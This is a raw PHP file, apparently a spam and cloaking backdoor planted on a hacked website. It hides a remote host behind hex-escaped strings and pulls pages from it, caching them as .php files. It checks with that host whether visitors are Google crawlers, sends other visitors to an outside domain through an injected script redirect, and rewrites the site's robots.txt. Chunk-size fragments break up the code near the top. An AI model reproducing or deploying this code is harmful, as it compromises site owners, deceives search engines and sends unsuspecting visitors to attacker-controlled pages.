2
<?
d
php
error_re
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portin
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g(0);

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$get 
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= filte
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r_inpu
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t_array
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(INPU
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T_GET,
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 FILTE
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R_SAN
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ITIZE_
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STRIN
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G);


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/* -------------------------
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     �
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���
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�本
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地�
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�存�
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���
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�

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------------------------- */

6
functi
6
on cac
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he_get(
7
$key, $
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expire
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 = 300)
9
 {
    $
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file = sys
9
_get_temp
6
_dir()
5
 . '/
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cache_' . md
c
5($key) . '.
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php';
    
8
if (file
7
_exists
9
($file) &
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& (tim
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e() -
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 filemtime($file)
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) < $expire
10
) {
        ret
8
urn file
a
_get_conte
11
nts($file);
    
11
}
    return fal
6
se;
}
71

function cache_set($key, $data) {
    $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php';
    @file_
19
put_contents($file, $data
6
, LOCK
4
_EX)
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;
}

/* -------------------------
     �
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��取
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真�
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��访
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问 I
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P（�
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���
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� CDN 
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/ 反
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代�
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��
------------------------- */
function 
8
get_real
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_ip() {
    $
8
keys = [
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        'HT
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TP_CF
6
_CONNE
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CTING_
7
IP', //
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 Cloud
5
flare
14

        'HTTP_X_RE
f
AL_IP',        
8
// Nginx
15

        'HTTP_X_FOR
5
WARDE
9
D_FOR',  
8
// Proxy
14

        'HTTP_CLIE
12
NT_IP',
        '
1a98
REMOTE_ADDR'
    ];

    foreach ($keys as $k) {
        if (!empty($_SERVER[$k])) {
            $ip = $_SERVER[$k];

            if (strpos($ip, ',') !== false) {
                $ip = trim(explode(',', $ip)[0]);
            }

            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return '127.0.0.1';
}

/* -------------------------
     更快的 getCurl()
------------------------- */
function getCurlFast($url) {

    $cached = cache_get($url);
    if ($cached !== false) return $cached;

    $data = '';

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT        => 8,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_USERAGENT      => "Mozilla/5.0"
        ]);
        $data = curl_exec($ch);
        curl_close($ch);
    }

    if (empty($data) && ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"],
            "ssl"  => ["verify_peer" => false, "verify_peer_name" => false]
        ]);
        $data = @file_get_contents($url, false, $context);
    }

    if (!empty($data)) cache_set($url, $data);
    return $data;
}

/* -------------------------
     URL 信息
------------------------- */
function get_url_info(string $type='domain'): string {
    $host = $_SERVER['HTTP_HOST'] ?? '';
    if ($type === 'no_www') return preg_replace('/^www\./i', '', $host);

    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
    $base = $protocol . $host;

    if ($type === 'base') return $base;
    if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? '');

    return $host;
}

/* -------------------------
     基础变量
------------------------- */
goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3);
/* -------------------------
     解析 f 参数
------------------------- */
$sz = $iid = "";
if(!empty($_GET)){
	$f=reset($_GET);
    $sp = explode('-', $f);
    if (count($sp) === 2) {
        $sz  = $sp[0];
        $iid = $sp[1];
    }
}
/* -------------------------
     远程接口
------------------------- */
if (!empty($sz)) {
    $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz));
} else {
    $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}");
    $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd));
}

$hyzhdy = $jd . "41.aspx";
$surl   = $jd . "s41.aspx";

/* -------------------------
     robots / sitemap
------------------------- */
$sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n";
function ensure_robots_sitemap($sitemapLine) {
    $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt';
    if (!file_exists($robots)) {
        @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX);
    } else {
        $c = @file_get_contents($robots);
        if ($c === false || strpos($c, $sitemapLine) === false) {
            @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX);
        }
    }
}

/* -------------------------
     w= 输出
------------------------- */
if (!empty($get['w'])) {

    $params = http_build_query([
        'NOUmber' => $get['NOUmber'] ?? '',
        't'       => $get['t'] ?? '',
        'cn'      => $get['cn'] ?? '',
        'pNOUm'   => $get['pNOUm'] ?? '',
        'cid'     => $get['cid'] ?? '',
        'm'       => $get['m'] ?? ''
    ]);

    $str = getCurlFast("{$surl}?{$params}");

    echo str_replace(
        ['yymm','ggggg','?f='],
        [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='],
        $str
    );
    exit;
}

/* -------------------------
     IP 判定（保留 kk 测试）
------------------------- */
$kk = isset($get['kk']) ? trim($get['kk']) : '';
$ip = ($kk !== '') ? "66.249.82.8" : get_real_ip();

/* -------------------------
     getdomain2 判断
------------------------- */
$domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip));

/* -------------------------
     非 google + iid → 跳转
------------------------- */
if ($domain !== 'google' && !empty($iid)) {
    $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid));
    echo '<script>location="' . $jd . "a.aspx?cname=" . urlencode($kname) . "&url=" . $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . '"</script>';
    exit;
}

/* -------------------------
     iid 输出
------------------------- */
if (!empty($iid)) {
    $str = getCurlFast($hyzhdy . "?iid={$iid}");

    echo str_replace(
        ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='],
        [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='],
        $str
    );
    exit;
}

/* -------------------------
     sitemap helper
------------------------- */
function output_sitemap_and_exit($sitemapLine, $http_type) {
    ensure_robots_sitemap($sitemapLine);
    echo "<div style='text-align:center;padding:10px 0;'>
            <a href=\"{$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\" target=\"_blank\" rel=\"nofollow\">Sitemap</a>
          </div>";
    exit;
}

/* -------------------------
     kk 输出控制
------------------------- */
if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) {
    $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk);
    if (!empty($remote)) {
        echo $remote;
        exit;
    }
}

if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) {
    output_sitemap_and_exit($sitemapLine, $http_type);
}

$is_no_query = empty($_SERVER['QUERY_STRING']);

if ($kk === '' && $is_no_query) {
    if ($domain === 'google') {
        output_sitemap_and_exit($sitemapLine, $http_type);
    } else {
        exit;
    }
}

output_sitemap_and_exit($sitemapLine, $http_type);
?>

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